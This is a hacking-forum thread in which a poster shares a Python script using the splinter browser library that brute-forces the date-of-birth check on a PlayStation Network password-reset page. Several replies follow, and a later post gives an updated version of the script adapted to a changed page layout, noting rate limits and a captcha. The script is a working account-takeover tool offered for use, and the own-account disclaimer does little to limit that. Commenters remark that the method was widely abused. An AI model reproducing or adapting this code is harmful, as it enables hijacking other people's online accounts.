Hack Forums
[Python] PSN Birthday Brute-Force - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] PSN Birthday Brute-Force (/showthread.php?tid=5320176)



PSN Birthday Brute-Force - airpline1 - Jun 27, 2016

Hey there,
I recently made a simple python app, script, code, call it whatever you want that tries all the possible dates. You need firefox installed and it should be the version before the latest, you also need splinter installed which you can get by simply writing in cmd

Code
pip install splinter

Anyways, here the code, enjoy!

Code
from splinter import Browser

year = [1988,1987, 1986, 1985, 1984, 1983, 1982, 1981, 1980, 1979, 1978, 1977, 1976, 1975, 1974, 1973, 1972, 1971, 1970,
        1969, 1968, 1967, 1966, 1965, 1964, 1963, 1962, 1961, 1960, 1959, 1958, 1957, 1956, 1955, 1954, 1953, 1952,
        1951, 1950, 1949, 1948, 1947]
month = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
day = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,
       31]

def start_bot():
    URL = raw_input("Enter reset password link: ")
    browser = Browser()
    browser.visit(URL)
    for i in year:
        browser.select('account.yob', str(i))
        for m in month:
            browser.select('account.mob', str(m))
            for d in day:
                print("Currently testing: {}/{}/{}").format(m, d, i)
                browser.select('account.dob', str(d))
                browser.find_by_id("forgotPasswordContinueButton").click()



start_bot()

NOTE: This code was made to test it on my own account which I had full rights and access to, please do not attempt to do this on any other account that you do not own.


* - TheTwoSeerlooms - Jul 12, 2016

Hey, so I used your code, but I am getting an error that states there is some sort of syntax error about def start_bot().

I am using Python 3.4. Is this the reason? I changed the rest of the script accordingly (i.e. from raw_input --> input).


* - 0x52-0x75-0x64-0x79 - Jul 12, 2016

(Jul 12, 2016 05:15 PM)TheTwoSeerlooms Wrote:  Hey, so I used your code, but I am getting an error that states there is some sort of syntax error about def start_bot().

I am using Python 3.4. Is this the reason? I changed the rest of the script accordingly (i.e. from raw_input --> input).

yes...


* - God - Jul 13, 2016

I haven't tested it but it looks like a very useful program, nice work. Isn't there a much easier method or resetting the password if you forgot the DoB?


* - ๖ۣۜCriminal - Jul 13, 2016

Pretty sure this is patched people used to abuse this alot back in the day.


* - 0x52-0x75-0x64-0x79 - Jul 13, 2016

(Jun 27, 2016 07:53 PM)airpline1 Wrote:  NOTE: This code was made to test it on my own account which I had full rights and access to, please do not attempt to do this on any other account that you do not own.

Can OP confirm when this was last tested?


* - airpline1 - Jul 16, 2016

(Jul 13, 2016 05:18 AM)smye Wrote:  I haven't tested it but it looks like a very useful program, nice work. Isn't there a much easier method or resetting the password if you forgot the DoB?
I made this because I couldn't find a way to get a DoB back, so I did this instead.

(Jul 13, 2016 08:22 AM)0x52-0x75-0x64-0x79 Wrote:  Can OP confirm when this was last tested?
It isn't patched, it just automates actions just as the user would. Which is why you need firefox installed.


* - Husnain5678 - Mar 14, 2017

Can any one confirm if this still works.

Also could some one help me out as me being a complete noob as this kind of stuff a step by step instructions on how to do so.


RE: PSN Birthday Brute-Force - JKHA - Mar 18, 2020

Hi! I was wondering if this still works even if there is captcha that tests if you are a bot?

Alright, I have my answer. That does no longer works as Sony only allows 5 trials per 45 minutes...

Here is the code I've launch, even if that didn't succeed :/

from splinter import Browser
Code
import time

year = [1999, 1998, 1997, 1996, 1995, 1994, 1993, 1992, 1991, 1990, 1989, 1988,1987, 1986, 1985, 1984, 1983, 1982, 1981, 1980, 1979, 1978, 1977, 1976, 1975, 1974, 1973, 1972, 1971, 1970,
       1969, 1968, 1967, 1966, 1965, 1964, 1963, 1962, 1961, 1960, 1959, 1958, 1957, 1956, 1955, 1954, 1953, 1952,
       1951, 1950, 1949, 1948, 1947]
month = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
day = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,
      31]

def start_bot():
   URL = raw_input("Enter reset password link: ")
   browser = Browser()
   browser.visit(URL)
   # browser.find_by_name('pulldown-wrapper ').select_by_visible_text('DOB')
   # browser.choose('pulldown-wrapper ', 'DOB')
   # browser.find_by_name('primary-button row-button text-button').first.click()
   for i in range(10):
       print(i)
       time.sleep(1)

       # YOU HERE MUST CLICK ON SELECT BY BIRTH AND PRESS CONTINUE
   for i in year:

       select_year = browser.find_by_id('ember70')
       select_year[0].select('Year', str(i))
       for m in month:
           select_month = browser.find_by_id('ember23')
           select_month[0].select('Month', str(m))
           for d in day:
               select_month = browser.find_by_id('ember37')
               select_month[0].select('Day', str(d))
               continue_button = browser.find_by_id('ember193')
               continue_button.click()





start_bot()